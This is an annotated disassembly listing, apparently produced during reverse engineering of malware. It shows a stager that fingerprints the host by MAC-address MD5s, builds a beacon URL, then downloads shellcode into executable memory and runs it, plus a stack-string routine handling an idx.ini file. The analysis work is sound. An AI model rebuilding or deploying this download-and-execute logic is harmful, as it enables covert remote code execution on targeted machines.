ram:00000411    895dd4          MOV                 dword ptr [EBP + local_30+0x4],EBX      
ram:00000414    895dd8          MOV                 dword ptr [EBP + local_2c+0x4],EBX      
ram:00000417    ff5624          CALL                dword ptr [ESI + func_ptrs->memset]     
ram:0000041a    83c40c          ADD                 ESP,0xc                                 
                            ;SimpleStackStrings.py: %02X
ram:0000041d    c745f0253...    MOV                 dword ptr [EBP +...,0x58323025          
ram:00000424    885df4          MOV                 byte ptr [EBP + fmt_str[1]+0x4],BL      
ram:00000427    895dec          MOV                 dword ptr [EBP + i+0x4],EBX             
ram:0000042a    8dbd2cffffff    LEA                 EDI=>beacon_str,[0xffffff2c + EBP]      
                            LAB_00000430:                 ;XREF[1,0]:   00000479
ram:00000430    6a0c            PUSH                0xc                                     
ram:00000432    8d45dc          LEA                 EAX=>hex_str,[EBP + -0x24]              
ram:00000435    53              PUSH                EBX                                     
ram:00000436    50              PUSH                EAX                                     
ram:00000437    ff5624          CALL                dword ptr [ESI + func_ptrs->memset]     
ram:0000043a    8b4508          MOV                 EAX,dword ptr [EBP + md5s_of_thismach...
ram:0000043d    8b4dec          MOV                 ECX,dword ptr [EBP + i+0x4]             
ram:00000440    8a440104        MOV                 AL,byte ptr [ECX + EAX*0x1 + 0x4]       
ram:00000444    83c40c          ADD                 ESP,0xc                                 
ram:00000447    3c7f            CMP                 AL,0x7f                                 
ram:00000449    0fbec0          MOVSX               EAX,AL                                  
ram:0000044c    50              PUSH                EAX                                     
ram:0000044d    8d45f0          LEA                 EAX=>fmt_str,[EBP + -0x10]              
ram:00000450    50              PUSH                EAX                                     
ram:00000451    8d45dc          LEA                 EAX=>hex_str,[EBP + -0x24]              
ram:00000454    50              PUSH                EAX                                     
ram:00000455    7608            JBE                 LAB_0000045f                            
ram:00000457    ff562c          CALL                dword ptr [ESI + func_ptrs->sprintf]    
ram:0000045a    8d45e2          LEA                 EAX=>hex_str[1]+0x2,[EBP + -0x1e]       
ram:0000045d    eb06            JMP                 LAB_00000465                            
                            LAB_0000045f:                 ;XREF[1,0]:   00000455
ram:0000045f    ff562c          CALL                dword ptr [ESI + func_ptrs->sprintf]    
ram:00000462    8d45dc          LEA                 EAX=>hex_str,[EBP + -0x24]              
                            LAB_00000465:                 ;XREF[1,0]:   0000045d
ram:00000465    6a03            PUSH                0x3                                     
ram:00000467    50              PUSH                __src                                   
ram:00000468    57              PUSH                EDI                                     
ram:00000469    ff561c          CALL                dword ptr [ESI + func_ptrs->memcpy]     
ram:0000046c    83c418          ADD                 ESP,0x18                                
ram:0000046f    ff45ec          INC                 dword ptr [EBP + i+0x4]                 
ram:00000472    83c702          ADD                 __dest,0x2                              
ram:00000475    837dec10        CMP                 dword ptr [EBP + i+0x4],0x10            
ram:00000479    72b5            JC                  LAB_00000430                            
ram:0000047b    6a02            PUSH                0x2                                     
ram:0000047d    8d45f8          LEA                 __src=>question_mark_str,[EBP + -0x8]   
ram:00000480    50              PUSH                __src                                   
ram:00000481    8d856cffffff    LEA                 __src=>url,[0xffffff6c + EBP]           
ram:00000487    50              PUSH                __src                                   
ram:00000488    ff5630          CALL                dword ptr [ESI + func_ptrs->strncat]    
ram:0000048b    6a40            PUSH                0x40                                    
ram:0000048d    8d852cffffff    LEA                 __src=>beacon_str,[0xffffff2c + EBP]    
ram:00000493    50              PUSH                __src                                   
ram:00000494    8d856cffffff    LEA                 __src=>url,[0xffffff6c + EBP]           
ram:0000049a    50              PUSH                __src                                   
ram:0000049b    ff5630          CALL                dword ptr [ESI + func_ptrs->strncat]    
ram:0000049e    83c418          ADD                 ESP,0x18                                
ram:000004a1    53              PUSH                EBX                                     
ram:000004a2    53              PUSH                EBX                                     
ram:000004a3    53              PUSH                EBX                                     
ram:000004a4    53              PUSH                EBX                                     
ram:000004a5    53              PUSH                EBX                                     
ram:000004a6    ff5644          CALL                dword ptr [ESI + func_ptrs->InternetO...
ram:000004a9    3bc3            CMP                 hInternet,EBX                           
ram:000004ab    747c            JZ                  LAB_00000529                            
ram:000004ad    53              PUSH                EBX                                     
ram:000004ae    6800018084      PUSH                0x84800100                              
ram:000004b3    53              PUSH                EBX                                     
ram:000004b4    53              PUSH                EBX                                     
ram:000004b5    8d8d6cffffff    LEA                 ECX=>url,[0xffffff6c + EBP]             
ram:000004bb    51              PUSH                ECX                                     
ram:000004bc    50              PUSH                hInternet                               
ram:000004bd    ff5648          CALL                dword ptr [ESI + func_ptrs->InternetO...
ram:000004c0    894508          MOV                 dword ptr [EBP +...,hInternet           
ram:000004c3    3bc3            CMP                 hInternet,EBX                           
ram:000004c5    7462            JZ                  LAB_00000529                            
ram:000004c7    6a40            PUSH                PAGE_EXECUTE_READWRITE                  
ram:000004c9    6800100000      PUSH                MEM_COMMIT                              
ram:000004ce    6800005000      PUSH                0x500000                                
ram:000004d3    53              PUSH                EBX                                     
                            ;allocate a buffer to download shellcode into
ram:000004d4    ff5604          CALL                dword ptr [ESI + func_ptrs->VirtualAl...
ram:000004d7    8bf8            MOV                 __dest,buffer                           
ram:000004d9    eb1f            JMP                 LAB_000004fa                            
                            LAB_000004db:                 ;XREF[1,0]:   0000050c
ram:000004db    8d45e8          LEA                 buffer=>num_bytes_read,[EBP + -0x18]    
ram:000004de    50              PUSH                buffer                                  
ram:000004df    ff75fc          PUSH                dword ptr [EBP + num_bytes_available+...
ram:000004e2    895de8          MOV                 dword ptr [EBP + num_bytes_read+0x4],EBX
ram:000004e5    8b07            MOV                 buffer,dword ptr [__dest]               
ram:000004e7    8d443808        LEA                 buffer,[buffer + __dest*0x1 + 0x8]      
ram:000004eb    50              PUSH                buffer                                  
ram:000004ec    ff7508          PUSH                dword ptr [EBP + md5s_of_thismachine+...
                            ;download shellcode
ram:000004ef    ff5650          CALL                dword ptr [ESI + func_ptrs->InternetR...
ram:000004f2    8b45e8          MOV                 buffer,dword ptr [EBP + num_bytes_rea...
ram:000004f5    0107            ADD                 dword ptr [__dest],buffer               
ram:000004f7    115f04          ADC                 dword ptr [__dest + 0x4],EBX            
                            LAB_000004fa:                 ;XREF[1,0]:   000004d9
ram:000004fa    53              PUSH                EBX                                     
ram:000004fb    53              PUSH                EBX                                     
ram:000004fc    8d45fc          LEA                 buffer=>num_bytes_available,[EBP + -0x4]
ram:000004ff    50              PUSH                buffer                                  
ram:00000500    ff7508          PUSH                dword ptr [EBP + md5s_of_thismachine+...
ram:00000503    895dfc          MOV                 dword ptr [EBP +...,EBX                 
ram:00000506    ff564c          CALL                dword ptr [ESI + func_ptrs->InternetQ...
ram:00000509    395dfc          CMP                 dword ptr [EBP +...,EBX                 
ram:0000050c    75cd            JNZ                 LAB_000004db                            
ram:0000050e    57              PUSH                __dest                                  
ram:0000050f    56              PUSH                func_ptrs                               
                            ;execute the downloaded shellcode
ram:00000510    8d4708          LEA                 buffer,[__dest + 0x8]                   
ram:00000513    ffd0            CALL                buffer                                  
ram:00000515    59              POP                 ECX                                     
ram:00000516    59              POP                 ECX                                     
ram:00000517    3bfb            CMP                 __dest,EBX                              
ram:00000519    740e            JZ                  LAB_00000529                            
ram:0000051b    6800400000      PUSH                DAT_00004000                            ;= C9h
ram:00000520    6800005000      PUSH                0x500000                                
ram:00000525    57              PUSH                __dest                                  
ram:00000526    ff5618          CALL                dword ptr [ESI + func_ptrs->VirtualFree]
                            LAB_00000529:                 ;XREF[3,0]:   000004ab,000004c5,00000519
ram:00000529    5f              POP                 __dest                                  
ram:0000052a    5b              POP                 EBX                                     
ram:0000052b    c9              LEAVE                                                        
ram:0000052c    c20400          RET                 0x4                                     
                            ;********************************************************************************************************
                            ;*  Compare the MD5s in `buffer` with the ones in `md5s_of_macs` if they match copy the MD5s to `md5s_of_...*
                            ;*  in case they don't match return 0                                                                   *
                            ;********************************************************************************************************
                            ;int cmp_md5(func_ptr_table_t * func_ptrs, int * md5s_of_macs, void * buffer, uint cnt, mac_md5_list_entry_t * md5s_of_thismachine)
          ;func_ptrs     func_ptr_ta...       4                      ;XREF[4,0]:   0000056e,000005c4,000005f4,00000630
          ;md5s_of_macs  int *                8                      ;XREF[2,0]:   00000535,00000636
          ;buffer        void *               c                      ;XREF[3,0]:   00000564,000005ba,000005ea
          ;cnt           uint                10                      ;XREF[6,0]:   0000055f,00000584,000005b5,000005d5,000005e5
                                                                     ;             00000605
          ;md5s_of_th... mac_md5_lis...      14                      ;XREF[1,0]:   0000063c
          ;local_8       undefined4          -8                      ;XREF[5,0]:   0000053f,00000542,0000054f,000005a0,00000620
          ;local_c       undefined4          -c                      ;XREF[6,0]:   0000055c,0000057b,0000057e,000005a7,000005dc
                                                                     ;             0000060c
          ;local_10      undefined4         -10                      ;XREF[5,0]:   00000547,00000596,000005a3,00000612,00000619
          ;local_24      undefined1         -24                      ;XREF[1,0]:   000005ef
          ;local_38      undefined1         -38                      ;XREF[1,0]:   000005bf
          ;local_3c      undefined1         -3c                      ;XREF[1,0]:   000005ae
          ;local_64      undefined1         -64                      ;XREF[1,0]:   00000569
          ;local_68      undefined1         -68                      ;XREF[1,0]:   00000555
                                                          ;XREF[1,0]:   00000f87
ram:0000052f    55              PUSH                EBP                                     
ram:00000530    8bec            MOV                 EBP,ESP                                 
ram:00000532    83ec64          SUB                 ESP,0x64                                
ram:00000535    8b450c          MOV                 EAX,dword ptr [EBP + md5s_of_macs+0x4]  
ram:00000538    53              PUSH                EBX                                     
ram:00000539    56              PUSH                ESI                                     
ram:0000053a    33f6            XOR                 ESI,ESI                                 
ram:0000053c    57              PUSH                EDI                                     
ram:0000053d    33db            XOR                 EBX,EBX                                 
ram:0000053f    8945fc          MOV                 dword ptr [EBP + local_8+0x4],EAX       
                            LAB_00000542:                 ;XREF[1,0]:   00000628
ram:00000542    8b45fc          MOV                 EAX,dword ptr [EBP + local_8+0x4]       
ram:00000545    8b00            MOV                 EAX,dword ptr [EAX]                     
ram:00000547    8945f4          MOV                 dword ptr [EBP + local_10+0x4],EAX      
ram:0000054a    83f801          CMP                 EAX,0x1                                 
ram:0000054d    7547            JNZ                 LAB_00000596                            
ram:0000054f    8b75fc          MOV                 ESI,dword ptr [EBP + local_8+0x4]       
ram:00000552    6a0b            PUSH                0xb                                     
ram:00000554    59              POP                 ECX                                     
ram:00000555    8d7d9c          LEA                 EDI=>local_68,[EBP + -0x64]             
ram:00000558    f3a5            MOVSD.REP           ES:EDI,ESI                              
ram:0000055a    33f6            XOR                 ESI,ESI                                 
ram:0000055c    2175f8          AND                 dword ptr [EBP + local_c+0x4],ESI       
ram:0000055f    397514          CMP                 dword ptr [EBP + cnt+0x4],ESI           
ram:00000562    762a            JBE                 LAB_0000058e                            
ram:00000564    8b7d10          MOV                 EDI,dword ptr [EBP + buffer+0x4]        
                            LAB_00000567:                 ;XREF[1,0]:   00000587
ram:00000567    6a10            PUSH                0x10                                    
ram:00000569    8d45a0          LEA                 EAX=>local_64,[EBP + -0x60]             
ram:0000056c    57              PUSH                EDI                                     
ram:0000056d    50              PUSH                EAX                                     
ram:0000056e    8b4508          MOV                 EAX,dword ptr [EBP + func_ptrs+0x4]     
ram:00000571    ff5020          CALL                dword ptr [EAX + 0x20]                  
ram:00000574    83c40c          ADD                 ESP,0xc                                 
ram:00000577    85c0            TEST                EAX,EAX                                 
ram:00000579    7410            JZ                  LAB_0000058b                            
ram:0000057b    ff45f8          INC                 dword ptr [EBP + local_c+0x4]           
ram:0000057e    8b45f8          MOV                 EAX,dword ptr [EBP + local_c+0x4]       
ram:00000581    83c714          ADD                 EDI,0x14                                
ram:00000584    3b4514          CMP                 EAX,dword ptr [EBP + cnt+0x4]           
ram:00000587    72de            JC                  LAB_00000567                            
ram:00000589    eb03            JMP                 LAB_0000058e                            
                            LAB_0000058b:                 ;XREF[1,0]:   00000579
ram:0000058b    33f6            XOR                 ESI,ESI                                 
ram:0000058d    46              INC                 ESI                                     
                            LAB_0000058e:                 ;XREF[2,0]:   00000562,00000589
ram:0000058e    85f6            TEST                ESI,ESI                                 
ram:00000590    0f859a000000    JNZ                 LAB_00000630                            
                            LAB_00000596:                 ;XREF[1,0]:   0000054d
ram:00000596    837df402        CMP                 dword ptr [EBP + local_10+0x4],0x2      
ram:0000059a    0f8580000000    JNZ                 LAB_00000620                            
ram:000005a0    8b75fc          MOV                 ESI,dword ptr [EBP + local_8+0x4]       
ram:000005a3    8365f400        AND                 dword ptr [EBP + local_10+0x4],0x0      
ram:000005a7    8365f800        AND                 dword ptr [EBP + local_c+0x4],0x0       
ram:000005ab    6a0b            PUSH                0xb                                     
ram:000005ad    59              POP                 ECX                                     
ram:000005ae    8d7dc8          LEA                 EDI=>local_3c,[EBP + -0x38]             
ram:000005b1    f3a5            MOVSD.REP           ES:EDI,ESI                              
ram:000005b3    33f6            XOR                 ESI,ESI                                 
ram:000005b5    397514          CMP                 dword ptr [EBP + cnt+0x4],ESI           
ram:000005b8    7629            JBE                 LAB_000005e3                            
ram:000005ba    8b7d10          MOV                 EDI,dword ptr [EBP + buffer+0x4]        
                            LAB_000005bd:                 ;XREF[1,0]:   000005d8
ram:000005bd    6a10            PUSH                0x10                                    
ram:000005bf    8d45cc          LEA                 EAX=>local_38,[EBP + -0x34]             
ram:000005c2    57              PUSH                EDI                                     
ram:000005c3    50              PUSH                EAX                                     
ram:000005c4    8b4508          MOV                 EAX,dword ptr [EBP + func_ptrs+0x4]     
ram:000005c7    ff5020          CALL                dword ptr [EAX + 0x20]                  
ram:000005ca    83c40c          ADD                 ESP,0xc                                 
ram:000005cd    85c0            TEST                EAX,EAX                                 
ram:000005cf    740b            JZ                  LAB_000005dc                            
ram:000005d1    46              INC                 ESI                                     
ram:000005d2    83c714          ADD                 EDI,0x14                                
ram:000005d5    3b7514          CMP                 ESI,dword ptr [EBP + cnt+0x4]           
ram:000005d8    72e3            JC                  LAB_000005bd                            
ram:000005da    eb07            JMP                 LAB_000005e3                            
                            LAB_000005dc:                 ;XREF[1,0]:   000005cf
ram:000005dc    c745f8010...    MOV                 dword ptr [EBP + local_c+0x4],0x1       
                            LAB_000005e3:                 ;XREF[2,0]:   000005b8,000005da
ram:000005e3    33ff            XOR                 EDI,EDI                                 
ram:000005e5    397d14          CMP                 dword ptr [EBP + cnt+0x4],EDI           
ram:000005e8    762f            JBE                 LAB_00000619                            
ram:000005ea    8b7510          MOV                 ESI,dword ptr [EBP + buffer+0x4]        
                            LAB_000005ed:                 ;XREF[1,0]:   00000608
ram:000005ed    6a10            PUSH                0x10                                    
ram:000005ef    8d45e0          LEA                 EAX=>local_24,[EBP + -0x20]             
ram:000005f2    56              PUSH                ESI                                     
ram:000005f3    50              PUSH                EAX                                     
ram:000005f4    8b4508          MOV                 EAX,dword ptr [EBP + func_ptrs+0x4]     
ram:000005f7    ff5020          CALL                dword ptr [EAX + 0x20]                  
ram:000005fa    83c40c          ADD                 ESP,0xc                                 
ram:000005fd    85c0            TEST                EAX,EAX                                 
ram:000005ff    740b            JZ                  LAB_0000060c                            
ram:00000601    47              INC                 EDI                                     
ram:00000602    83c614          ADD                 ESI,0x14                                
ram:00000605    3b7d14          CMP                 EDI,dword ptr [EBP + cnt+0x4]           
ram:00000608    72e3            JC                  LAB_000005ed                            
ram:0000060a    eb0d            JMP                 LAB_00000619                            
                            LAB_0000060c:                 ;XREF[1,0]:   000005ff
ram:0000060c    837df801        CMP                 dword ptr [EBP + local_c+0x4],0x1       
ram:00000610    7507            JNZ                 LAB_00000619                            
ram:00000612    c745f4010...    MOV                 dword ptr [EBP + local_10+0x4],0x1      
                            LAB_00000619:                 ;XREF[3,0]:   000005e8,0000060a,00000610
ram:00000619    8b75f4          MOV                 ESI,dword ptr [EBP + local_10+0x4]      
ram:0000061c    85f6            TEST                ESI,ESI                                 
ram:0000061e    7510            JNZ                 LAB_00000630                            
                            LAB_00000620:                 ;XREF[1,0]:   0000059a
ram:00000620    8345fc2c        ADD                 dword ptr [EBP + local_8+0x4],0x2c      
ram:00000624    43              INC                 EBX                                     
ram:00000625    83fb12          CMP                 EBX,0x12                                
ram:00000628    0f8214ffffff    JC                  LAB_00000542                            
ram:0000062e    eb15            JMP                 LAB_00000645                            
                            LAB_00000630:                 ;XREF[2,0]:   00000590,0000061e
ram:00000630    8b4508          MOV                 EAX,dword ptr [EBP + func_ptrs+0x4]     
ram:00000633    6bdb2c          IMUL                EBX,EBX,0x2c                            
ram:00000636    035d0c          ADD                 EBX,dword ptr [EBP + md5s_of_macs+0x4]  
ram:00000639    6a2c            PUSH                0x2c                                    
ram:0000063b    53              PUSH                EBX                                     
ram:0000063c    ff7518          PUSH                dword ptr [EBP + md5s_of_thismachine+...
ram:0000063f    ff501c          CALL                dword ptr [EAX + 0x1c]                  
ram:00000642    83c40c          ADD                 ESP,0xc                                 
                            LAB_00000645:                 ;XREF[1,0]:   0000062e
ram:00000645    5f              POP                 EDI                                     
ram:00000646    8bc6            MOV                 EAX,ESI                                 
ram:00000648    5e              POP                 ESI                                     
ram:00000649    5b              POP                 EBX                                     
ram:0000064a    c9              LEAVE                                                        
ram:0000064b    c3              RET                                                          
                            ;********************************************************************************************************
                            ;*                                               FUNCTION                                               *
                            ;********************************************************************************************************
                            ;void no_match(func_ptr_table_t * func_ptrs, int ebx, int edi)
          ;func_ptrs     func_ptr_ta...     ESI                      
          ;ebx           int                EBX                      
          ;edi           int                EDI                      
          ;lVar3         longlong       EDX:...                      ;XREF[1,0]:   0000088c
          ;len           DWORD              EAX                      ;XREF[1,0]:   000007e8
          ;puVar2        undefined *        EAX                      ;XREF[1,0]:   00000843
          ;__n           size_t             EDI                      
          ;i             int                 -8                      ;XREF[3,0]:   000007c7,0000080e,00000811
          ;len_1         uint                -c                      ;XREF[4,0]:   000007f0,00000843,00000849,000008cf
          ;FStack16      uint               -10                      ;XREF[2,0]:   000008bc,000008cb
          ;b4            undefined          -11                      
          ;b3            undefined          -12                      
          ;b2            undefined          -13                      
          ;b1            undefined          -14                      
          ;puStack24     WCHAR *            -18                      ;XREF[4,0]:   00000804,0000083d,00000875,000008a2
          ;_Stack28      uint               -1c                      ;XREF[2,0]:   0000086b,00000872
          ;a4            undefined          -1d                      
          ;a3            undefined          -1e                      
          ;a2            undefined          -1f                      
          ;a1            undefined          -20                      ;XREF[1,0]:   000006cf
          ;appname       WCHAR[8]           -30                      ;XREF[4,7]:   00000698,00000913,0000092c,00000945,0000069e
                                                                     ;             000006a7,000006b0,000006b5,000006bd,000006c2
                                                                     ;             000006c9
          ;keyname3      WCHAR[8]           -40                      ;XREF[2,7]:   0000079f,00000941,00000725,00000737,00000795
                                                                     ;             000007a3,000007a7,000007bf,000007c3
          ;keyname1      WCHAR[8]           -50                      ;XREF[2,7]:   000006d5,0000090f,000006d9,000006dd,000006e3
                                                                     ;             000006e9,000006ef,000006f6,000006fc
          ;idx_ini__s... WCHAR[8]           -60                      ;XREF[2,7]:   0000065c,0000082e,00000663,0000066a,00000671
                                                                     ;             00000678,0000067f,0000068c,00000692
          ;keyname2      WCHAR[8]           -70                      ;XREF[2,7]:   00000702,00000928,00000706,0000070a,00000710
                                                                     ;             00000716,0000071e,00000729,0000072f
          ;fmt_str       WCHAR[14]          -8c                      ;XREF[2,12]:  0000073e,000008ed,00000748,00000752,0000075c
                                                                     ;             00000766,0000076d,00000774,0000077b,00000782
                                                                     ;             00000789,00000790,00000799,000007b3
          ;sytemtime     _SYSTEMTIME        -9c                      ;XREF[3,2]:   0000085d,000008c4,000008e5,000008d5,000008dd
          ;string        WCHAR[20]          -c4                      ;XREF[4,0]:   000008f4,00000908,00000921,0000093a
          ;filename      WCHAR[260]        -2cc                      ;XREF[6,0]:   000007d1,0000081f,0000084e,00000901,0000091a
                                                                     ;             00000933
          ;module_fil... WCHAR[260]        -4d4                      ;XREF[4,0]:   000007b7,000007e0,000007fb,00000818
          ;uVar2         undefined4        -4e0                      
          ;lpFilename    LPWSTR            -4e4                      
          ;uVar1         undefined4        -4e8                      
          ;lpSystemTi... LPFILETIME        -4ec                      
                                                          ;XREF[1,0]:   00000fa1
ram:0000064c    55              PUSH                EBP                                     
ram:0000064d    8bec            MOV                 EBP,ESP                                 
ram:0000064f    81ecd0040000    SUB                 ESP,0x4d0                               
ram:00000655    53              PUSH                ebx                                     
ram:00000656    57              PUSH                edi                                     
ram:00000657    6a69            PUSH                0x69                                    
ram:00000659    58              POP                 EAX                                     
ram:0000065a    6a64            PUSH                0x64                                    
ram:0000065c    668945a4        MOV                 word ptr [EBP + ...,AX                  
ram:00000660    58              POP                 EAX                                     
ram:00000661    6a78            PUSH                0x78                                    
ram:00000663    668945a6        MOV                 word ptr [EBP + ...,AX                  
ram:00000667    58              POP                 EAX                                     
ram:00000668    6a2e            PUSH                0x2e                                    
ram:0000066a    668945a8        MOV                 word ptr [EBP + ...,AX                  
ram:0000066e    58              POP                 EAX                                     
ram:0000066f    6a69            PUSH                0x69                                    
ram:00000671    668945aa        MOV                 word ptr [EBP + ...,AX                  
ram:00000675    58              POP                 EAX                                     
ram:00000676    6a6e            PUSH                0x6e                                    
ram:00000678    668945ac        MOV                 word ptr [EBP + ...,AX                  
ram:0000067c    58              POP                 EAX                                     
ram:0000067d    6a69            PUSH                0x69                                    
ram:0000067f    668945ae        MOV                 word ptr [EBP + ...,AX                  
ram:00000683    58              POP                 EAX                                     
ram:00000684    6a49            PUSH                0x49                                    
ram:00000686    59              POP                 ECX                                     
ram:00000687    6a44            PUSH                0x44                                    
ram:00000689    5f              POP                 edi                                     
ram:0000068a    6a58            PUSH                0x58                                    
ram:0000068c    668945b0        MOV                 word ptr [EBP + ...,AX                  
ram:00000690    33c0            XOR                 EAX,EAX                                 
ram:00000692    668945b2        MOV                 word ptr [EBP + ...,AX                  
ram:00000696    8bc1            MOV                 EAX,ECX                                 
ram:00000698    668945d4        MOV                 word ptr [EBP + appname[0]+0x4],AX      
ram:0000069c    8bc7            MOV                 EAX,edi                                 
ram:0000069e    668945d6        MOV                 word ptr [EBP + appname[1]+0x4],AX      
ram:000006a2    58              POP                 EAX                                     
ram:000006a3    6a5f            PUSH                0x5f                                    
ram:000006a5    8bd0            MOV                 EDX,EAX                                 
ram:000006a7    668955d8        MOV                 word ptr [EBP + appname[2]+0x4],DX      
ram:000006ab    5a              POP                 EDX                                     
ram:000006ac    6a46            PUSH                0x46                                    
ram:000006ae    8bda            MOV                 ebx,EDX                                 
ram:000006b0    66895dda        MOV                 word ptr [EBP + appname[3]+0x4],ebx     
ram:000006b4    5b              POP                 ebx                                     
ram:000006b5    66895ddc        MOV                 word ptr [EBP + appname[4]+0x4],ebx     
ram:000006b9    6a4c            PUSH                0x4c                                    
ram:000006bb    8bd9            MOV                 ebx,ECX                                 
ram:000006bd    66895dde        MOV                 word ptr [EBP + appname[5]+0x4],ebx     
ram:000006c1    5b              POP                 ebx                                     
ram:000006c2    66895de0        MOV                 word ptr [EBP + appname[6]+0x4],ebx     
ram:000006c6    6a45            PUSH                0x45                                    
ram:000006c8    5b              POP                 ebx                                     
ram:000006c9    66895de2        MOV                 word ptr [EBP + appname[7]+0x4],ebx     
ram:000006cd    33db            XOR                 ebx,ebx                                 
ram:000006cf    66895de4        MOV                 word ptr [EBP + a1+0x4],ebx             
ram:000006d3    8bd8            MOV                 ebx,EAX                                 
ram:000006d5    66895db4        MOV                 word ptr [EBP + keyname1[0]+0x4],ebx    
ram:000006d9    66895db6        MOV                 word ptr [EBP + keyname1[1]+0x4],ebx    
ram:000006dd    66895db8        MOV                 word ptr [EBP + keyname1[2]+0x4],ebx    
ram:000006e1    8bda            MOV                 ebx,EDX                                 
ram:000006e3    66895dba        MOV                 word ptr [EBP + keyname1[3]+0x4],ebx    
ram:000006e7    8bd9            MOV                 ebx,ECX                                 
ram:000006e9    66895dbc        MOV                 word ptr [EBP + keyname1[4]+0x4],ebx    
ram:000006ed    8bdf            MOV                 ebx,edi                                 
ram:000006ef    66895dbe        MOV                 word ptr [EBP + keyname1[5]+0x4],ebx    
ram:000006f3    6a4e            PUSH                0x4e                                    
ram:000006f5    5b              POP                 ebx                                     
ram:000006f6    66895dc0        MOV                 word ptr [EBP + keyname1[6]+0x4],ebx    
ram:000006fa    33db            XOR                 ebx,ebx                                 
ram:000006fc    66895dc2        MOV                 word ptr [EBP + keyname1[7]+0x4],ebx    
ram:00000700    8bd8            MOV                 ebx,EAX                                 
ram:00000702    66895d94        MOV                 word ptr [EBP + keyname2[0]+0x4],ebx    
ram:00000706    66895d96        MOV                 word ptr [EBP + keyname2[1]+0x4],ebx    
ram:0000070a    66895d98        MOV                 word ptr [EBP + keyname2[2]+0x4],ebx    
ram:0000070e    8bda            MOV                 ebx,EDX                                 
ram:00000710    66895d9a        MOV                 word ptr [EBP + keyname2[3]+0x4],ebx    
ram:00000714    8bd9            MOV                 ebx,ECX                                 
ram:00000716    66895d9c        MOV                 word ptr [EBP + keyname2[4]+0x4],ebx    
ram:0000071a    8bdf            MOV                 ebx,edi                                 
ram:0000071c    6a45            PUSH                0x45                                    
ram:0000071e    66895d9e        MOV                 word ptr [EBP + keyname2[5]+0x4],ebx    
ram:00000722    5b              POP                 ebx                                     
ram:00000723    6a25            PUSH                0x25                                    
ram:00000725    668945d0        MOV                 word ptr [EBP + keyname3[6]+0x4],AX     
ram:00000729    66895da0        MOV                 word ptr [EBP + keyname2[6]+0x4],ebx    
ram:0000072d    33db            XOR                 ebx,ebx                                 
ram:0000072f    66895da2        MOV                 word ptr [EBP + keyname2[7]+0x4],ebx    
ram:00000733    8bd8            MOV                 ebx,EAX                                 
ram:00000735    33c0            XOR                 EAX,EAX                                 
ram:00000737    668945d2        MOV                 word ptr [EBP + keyname3[7]+0x4],AX     
ram:0000073b    58              POP                 EAX                                     
ram:0000073c    6a64            PUSH                0x64                                    
ram:0000073e    66898578f...    MOV                 word ptr [fmt_str[0]+0x4 + EBP],AX      
ram:00000745    58              POP                 EAX                                     
ram:00000746    6a2d            PUSH                0x2d                                    
ram:00000748    6689857af...    MOV                 word ptr [fmt_str[1]+0x4 + EBP],AX      
ram:0000074f    58              POP                 EAX                                     
ram:00000750    6a25            PUSH                0x25                                    
ram:00000752    6689857cf...    MOV                 word ptr [fmt_str[2]+0x4 + EBP],AX      
ram:00000759    58              POP                 EAX                                     
ram:0000075a    6a2e            PUSH                0x2e                                    
ram:0000075c    6689857ef...    MOV                 word ptr [fmt_str[3]+0x4 + EBP],AX      
ram:00000763    58              POP                 EAX                                     
ram:00000764    6a32            PUSH                0x32                                    
ram:00000766    66894580        MOV                 word ptr [EBP + fmt_str[4]+0x4],AX      
ram:0000076a    58              POP                 EAX                                     
ram:0000076b    6a64            PUSH                0x64                                    
ram:0000076d    66894582        MOV                 word ptr [EBP + fmt_str[5]+0x4],AX      
ram:00000771    58              POP                 EAX                                     
ram:00000772    6a2d            PUSH                0x2d                                    
ram:00000774    66894584        MOV                 word ptr [EBP + fmt_str[6]+0x4],AX      
ram:00000778    58              POP                 EAX                                     
ram:00000779    6a25            PUSH                0x25                                    
ram:0000077b    66894586        MOV                 word ptr [EBP + fmt_str[7]+0x4],AX      
ram:0000077f    58              POP                 EAX                                     
ram:00000780    6a2e            PUSH                0x2e                                    
ram:00000782    66894588        MOV                 word ptr [EBP + fmt_str[8]+0x4],AX      
ram:00000786    58              POP                 EAX                                     
ram:00000787    6a32            PUSH                0x32                                    
ram:00000789    6689458a        MOV                 word ptr [EBP + fmt_str[9]+0x4],AX      
ram:0000078d    58              POP                 EAX                                     
ram:0000078e    6a64            PUSH                0x64                                    
ram:00000790    6689458c        MOV                 word ptr [EBP + fmt_str[10]+0x4],AX     
ram:00000794    58              POP                 EAX                                     
ram:00000795    66897dce        MOV                 word ptr [EBP + keyname3[5]+0x4],edi    
ram:00000799    6689458e        MOV                 word ptr [EBP + fmt_str[11]+0x4],AX     
ram:0000079d    33c0            XOR                 EAX,EAX                                 
ram:0000079f    66895dc4        MOV                 word ptr [EBP + keyname3[0]+0x4],ebx    
ram:000007a3    66895dc6        MOV                 word ptr [EBP + keyname3[1]+0x4],ebx    
ram:000007a7    66895dc8        MOV                 word ptr [EBP + keyname3[2]+0x4],ebx    
ram:000007ab    bf04010000      MOV                 edi,0x104                               
ram:000007b0    33db            XOR                 ebx,ebx                                 
ram:000007b2    57              PUSH                edi                                     
ram:000007b3    66894590        MOV                 word ptr [EBP + fmt_str[12]+0x4],AX     
ram:000007b7    8d8530fbffff    LEA                 EAX=>module_filename,[0xfffffb30 + EBP] 
ram:000007bd    53              PUSH                ebx                                     
ram:000007be    50              PUSH                EAX                                     
ram:000007bf    668955ca        MOV                 word ptr [EBP + keyname3[3]+0x4],DX     
ram:000007c3    66894dcc        MOV                 word ptr [EBP + keyname3[4]+0x4],CX     
ram:000007c7    895dfc          MOV                 dword ptr [EBP + i+0x4],ebx             
ram:000007ca    ff5624          CALL                dword ptr [ESI + func_ptrs->memset]     
ram:000007cd    83c40c          ADD                 ESP,0xc                                 
ram:000007d0    57              PUSH                edi                                     
ram:000007d1    8d8538fdffff    LEA                 EAX=>filename,[0xfffffd38 + EBP]        
ram:000007d7    53              PUSH                ebx                                     
ram:000007d8    50              PUSH                EAX                                     
ram:000007d9    ff5624          CALL                dword ptr [ESI + func_ptrs->memset]     
ram:000007dc    83c40c          ADD                 ESP,0xc                                 
ram:000007df    57              PUSH                edi                                     
ram:000007e0    8d8530fbffff    LEA                 EAX=>module_filename,[0xfffffb30 + EBP] 
ram:000007e6    50              PUSH                EAX                                     
ram:000007e7    53              PUSH                ebx                                     
ram:000007e8    ff5608          CALL                dword ptr [ESI + func_ptrs->GetModule...
ram:000007eb    3bc3            CMP                 len,ebx                                 
ram:000007ed    745f            JZ                  LAB_0000084e                            
ram:000007ef    48              DEC                 len                                     
ram:000007f0    8945f8          MOV                 dword ptr [EBP + len_1+0x4],len         
